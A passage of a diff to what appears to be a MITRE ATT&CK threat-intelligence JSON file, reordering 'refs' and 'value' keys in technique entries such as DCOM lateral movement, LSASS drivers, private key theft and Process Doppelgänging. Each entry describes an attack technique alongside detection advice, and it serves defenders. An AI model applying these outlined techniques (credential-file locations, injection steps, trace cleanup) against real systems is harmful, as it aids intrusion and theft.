/name {Canonical_Name}). (Citation: Microsoft Implementing CPL)\n*Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers where {name} is the predefined name of the system item. (Citation: Microsoft Implementing CPL)\n\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques. (Citation: TrendMicro CPL Malware Jan 2014)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Binary file metadata, DLL monitoring, Process command-line parameters, Process Monitoring, Windows Registry, Windows event logs\n\nDefense Bypassed: Application whitelisting, Process whitelisting\n\nPermissions Required: User, Administrator, SYSTEM\n\nRemote Support: No",
- "value": "Control Panel Items - T1196",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1196",
- "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx",
- "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf",
- "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/",
- "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
- ],
"external_id": "T1196",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion",
@@ -1036,25 +1027,21 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1196",
+ "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx",
+ "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf",
+ "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/",
+ "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
]
},
- "uuid": "8df54627-376c-487c-a09c-7d2b5620f56e"
+ "uuid": "8df54627-376c-487c-a09c-7d2b5620f56e",
+ "value": "Control Panel Items - T1196"
},
{
"description": "Windows Distributed Component Object Model (DCOM) is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology. COM is a component of the Windows application programming interface (API) that enables interaction between software objects. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM) ACL (Citation: Microsoft Process Wide Com Keys) (Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nAdversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods. (Citation: Enigma MMC20 COM Jan 2017) (Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.\n\nDetection: Monitor for COM objects loading DLLs and other modules not typically associated with the application. (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for influx of Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Authentication logs, DLL monitoring, Packet capture, Process monitoring, Windows Registry, Windows event logs\n\nPermissions Required: Administrator, SYSTEM",
- "value": "Distributed Component Object Model - T1175",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1175",
- "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx",
- "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx",
- "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx",
- "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/",
- "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/",
- "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/",
- "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/",
- "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom"
- ],
"external_id": "T1175",
"kill_chain": [
"mitre-attack:enterprise-attack:lateral-movement"
@@ -1070,17 +1057,25 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1175",
+ "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx",
+ "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx",
+ "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx",
+ "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/",
+ "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/",
+ "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/",
+ "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/",
+ "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom"
]
},
- "uuid": "772bc7a8-a157-42cc-8728-d648e25c7fe7"
+ "uuid": "772bc7a8-a157-42cc-8728-d648e25c7fe7",
+ "value": "Distributed Component Object Model - T1175"
},
{
"description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.\n\nAdversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for Security Software Discovery. The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.\n\nDetection: Exploitation for defense evasion may happen shortly after the system has been compromised to prevent detection during later actions for for additional tools that may be brought in and used. Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution or evidence of Discovery.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Windows Error Reporting, Process Monitoring, File monitoring\n\nDefense Bypassed: Anti-virus, System access controls\n\nPermissions Required: User\n\nContributors: John Lambert, Microsoft Threat Intelligence Center",
- "value": "Exploitation for Defense Evasion - T1211",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1211"
- ],
"external_id": "T1211",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion"
@@ -1094,19 +1089,17 @@
"Linux",
"Windows",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1211"
]
},
- "uuid": "fe926152-f431-4baf-956c-4ad3cb0bf23b"
+ "uuid": "fe926152-f431-4baf-956c-4ad3cb0bf23b",
+ "value": "Exploitation for Defense Evasion - T1211"
},
{
"description": "Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.\n\nDetection: The /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring\n\nEffective Permissions: root\n\nPermissions Required: Administrator",
- "value": "Startup Items - T1165",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1165",
- "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html",
- "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
- ],
"external_id": "T1165",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence",
@@ -1118,21 +1111,19 @@
],
"mitre_platforms": [
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1165",
+ "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html",
+ "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
]
},
- "uuid": "2ba5aa71-9d15-4b22-b726-56af06d9ad2f"
+ "uuid": "2ba5aa71-9d15-4b22-b726-56af06d9ad2f",
+ "value": "Startup Items - T1165"
},
{
"description": "Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot) (Citation: ICEBRG Chrome Extensions)\n\nBrowser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication. (Citation: cobaltstrike manual)\n\nDetection: This is a difficult technique to detect because adversary traffic would be masked by normal user traffic. No new processes are created and no additional software touches disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for process injection against browser applications\n\nPlatforms: Windows\n\nData Sources: Authentication logs, Packet capture, Process Monitoring, API monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Justin Warner, ICEBRG",
- "value": "Man in the Browser - T1185",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1185",
- "https://en.wikipedia.org/wiki/Man-in-the-browser",
- "https://www.cobaltstrike.com/help-browser-pivoting",
- "https://cobaltstrike.com/downloads/csmanual38.pdf",
- "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses"
- ],
"external_id": "T1185",
"kill_chain": [
"mitre-attack:enterprise-attack:collection"
@@ -1145,19 +1136,21 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1185",
+ "https://en.wikipedia.org/wiki/Man-in-the-browser",
+ "https://www.cobaltstrike.com/help-browser-pivoting",
+ "https://cobaltstrike.com/downloads/csmanual38.pdf",
+ "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses"
]
},
- "uuid": "544b0346-29ad-41e1-a808-501bb4193f47"
+ "uuid": "544b0346-29ad-41e1-a808-501bb4193f47",
+ "value": "Man in the Browser - T1185"
},
{
"description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions. (Citation: Technet MS14-068) (Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.\n\nDetection: Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Authentication logs, Windows Error Reporting, Process Monitoring\n\nPermissions Required: User\n\nContributors: John Lambert, Microsoft Threat Intelligence Center",
- "value": "Exploitation for Credential Access - T1212",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1212",
- "https://technet.microsoft.com/en-us/library/security/ms14-068.aspx",
- "https://adsecurity.org/?p=1515"
- ],
"external_id": "T1212",
"kill_chain": [
"mitre-attack:enterprise-attack:credential-access"
@@ -1171,19 +1164,19 @@
"Linux",
"Windows",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1212",
+ "https://technet.microsoft.com/en-us/library/security/ms14-068.aspx",
+ "https://adsecurity.org/?p=1515"
]
},
- "uuid": "9c306d8d-cde7-4b4c-b6e8-d0bb16caca36"
+ "uuid": "9c306d8d-cde7-4b4c-b6e8-d0bb16caca36",
+ "value": "Exploitation for Credential Access - T1212"
},
{
"description": "Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time (Citation: Malware Persistence on OS X).\n\nDetection: Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.\n\nPlatforms: macOS\n\nData Sources: Binary file metadata, Process Monitoring, Process command-line parameters, File monitoring\n\nPermissions Required: User",
- "value": "LC_LOAD_DYLIB Addition - T1161",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1161",
- "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf",
- "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf"
- ],
"external_id": "T1161",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence"
@@ -1196,21 +1189,19 @@
],
"mitre_platforms": [
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1161",
+ "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf",
+ "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf"
]
},
- "uuid": "04ef4356-8926-45e2-9441-634b6f3dcecb"
+ "uuid": "04ef4356-8926-45e2-9441-634b6f3dcecb",
+ "value": "LC_LOAD_DYLIB Addition - T1161"
},
{
"description": "The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., DLL Side-Loading or DLL Search Order Hijacking), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.\n\nDetection: With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA.\n\nUtilize the Sysinternals Process Monitor utility to monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)\n\nPlatforms: Windows\n\nData Sources: API monitoring, DLL monitoring, File monitoring, Kernel drivers, Loaded DLLs, Process Monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nRemote Support: No\n\nContributors: Vincent Le Toux",
- "value": "LSASS Driver - T1177",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1177",
- "https://technet.microsoft.com/library/cc961760.aspx",
- "https://technet.microsoft.com/library/dn408187.aspx",
- "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx",
- "https://technet.microsoft.com/en-us/sysinternals/bb963902"
- ],
"external_id": "T1177",
"kill_chain": [
"mitre-attack:enterprise-attack:execution",
@@ -1226,17 +1217,21 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1177",
+ "https://technet.microsoft.com/library/cc961760.aspx",
+ "https://technet.microsoft.com/library/dn408187.aspx",
+ "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx",
+ "https://technet.microsoft.com/en-us/sysinternals/bb963902"
]
},
- "uuid": "6e6845c2-347a-4a6f-a2d1-b74a18ebd352"
+ "uuid": "6e6845c2-347a-4a6f-a2d1-b74a18ebd352",
+ "value": "LSASS Driver - T1177"
},
{
"description": "Collected data is staged in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Data Compressed or Data Encrypted.\n\nInteractive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.\n\nDetection: Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters",
- "value": "Data Staged - T1074",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1074"
- ],
"external_id": "T1074",
"kill_chain": [
"mitre-attack:enterprise-attack:collection"
@@ -1250,17 +1245,17 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1074"
]
},
- "uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e"
+ "uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e",
+ "value": "Data Staged - T1074"
},
{
"description": "Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.\n\nDetection: Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. \n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as Exploitation for Client Execution and Scripting.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: SSL/TLS inspection, Anti-virus, Web proxy",
- "value": "Spearphishing via Service - T1194",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1194"
- ],
"external_id": "T1194",
"kill_chain": [
"mitre-attack:enterprise-attack:initial-access"
@@ -1274,19 +1269,17 @@
"Linux",
"Windows",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1194"
]
},
- "uuid": "d3df754e-997b-4cf9-97d4-70feb3120847"
+ "uuid": "d3df754e-997b-4cf9-97d4-70feb3120847",
+ "value": "Spearphishing via Service - T1194"
},
{
"description": "When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. \n\nAdversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with Masquerading. Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through Service Execution.\n\nDetection: Monitor service creation through changes in the Registry and common utilities using command-line invocation. New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM",
- "value": "New Service - T1050",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1050",
- "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "https://technet.microsoft.com/en-us/library/cc772408.aspx"
- ],
"external_id": "T1050",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence",
@@ -1299,18 +1292,19 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1050",
+ "https://technet.microsoft.com/en-us/sysinternals/bb963902",
+ "https://technet.microsoft.com/en-us/library/cc772408.aspx"
]
},
- "uuid": "478aa214-2ca7-4ec0-9978-18798e514790"
+ "uuid": "478aa214-2ca7-4ec0-9978-18798e514790",
+ "value": "New Service - T1050"
},
{
"description": "Windows shared drive and Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete command. (Citation: Technet Net Use)\n\nAdversaries may remove share connections that are no longer useful in order to clean up traces of their operation.\n\nDetection: Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of net use commands associated with establishing and removing remote shares over SMB, including following best practices for detection of Windows Admin Shares. SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters, Packet capture, Authentication logs\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User, Administrator\n\nSystem Requirements: Established network share connection to a remote system. Level of access depends on permissions of the account used.",
- "value": "Network Share Connection Removal - T1126",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1126",
- "https://technet.microsoft.com/bb490717.aspx"
- ],
"external_id": "T1126",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion"
@@ -1323,20 +1317,18 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1126",
+ "https://technet.microsoft.com/bb490717.aspx"
]
},
- "uuid": "e7eab98d-ae11-4491-bd28-a53ba875865a"
+ "uuid": "e7eab98d-ae11-4491-bd28-a53ba875865a",
+ "value": "Network Share Connection Removal - T1126"
},
{
"description": "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)\n\nAdversaries may gather private keys from compromised systems for use in authenticating to Remote Services like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on *nix-based systems or C:\\Users\\(username)\\.ssh\\ on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)\n\nDetection: Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: File monitoring\n\nPermissions Required: User\n\nContributors: Itzik Kotler, SafeBreach",
- "value": "Private Keys - T1145",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1145",
- "https://en.wikipedia.org/wiki/Public-key%20cryptography",
- "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask%20v1.0.pdf",
- "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/"
- ],
"external_id": "T1145",
"kill_chain": [
"mitre-attack:enterprise-attack:credential-access"
@@ -1348,23 +1340,20 @@
"Linux",
"Windows",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1145",
+ "https://en.wikipedia.org/wiki/Public-key%20cryptography",
+ "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask%20v1.0.pdf",
+ "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/"
]
},
- "uuid": "56ff457d-5e39-492b-974c-dfd2b8603ffe"
+ "uuid": "56ff457d-5e39-492b-974c-dfd2b8603ffe",
+ "value": "Private Keys - T1145"
},
{
"description": "Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nAdversaries may leverage TxF to a perform a file-less variation of Process Injection called Process Doppelgänging. Similar to Process Hollowing, Process Doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nProcess Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):\n* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load – Create a shared section of memory and load the malicious executable.\n* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate – Create a process from the tainted section of memory and initiate execution.\n\nDetection: Monitor and analyze calls to CreateTranscation, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelgänging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelgänging Dec 2017) (Citation: hasherezade Process Doppelgänging Dec 2017)\n\nScan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelgänging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelgänging Dec 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Process Monitoring\n\nDefense Bypassed: Process whitelisting, Anti-virus, Whitelisting by file name or path, Signature-based detection\n\nPermissions Required: User, Administrator, SYSTEM",
- "value": "Process Doppelgänging - T1186",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1186",
- "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx",
- "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx",
- "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx",
- "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf",
- "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/",
- "https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx"
- ],
"external_id": "T1186",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion"
@@ -1375,17 +1364,23 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1186",
+ "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx",
+ "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx",
+ "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx",
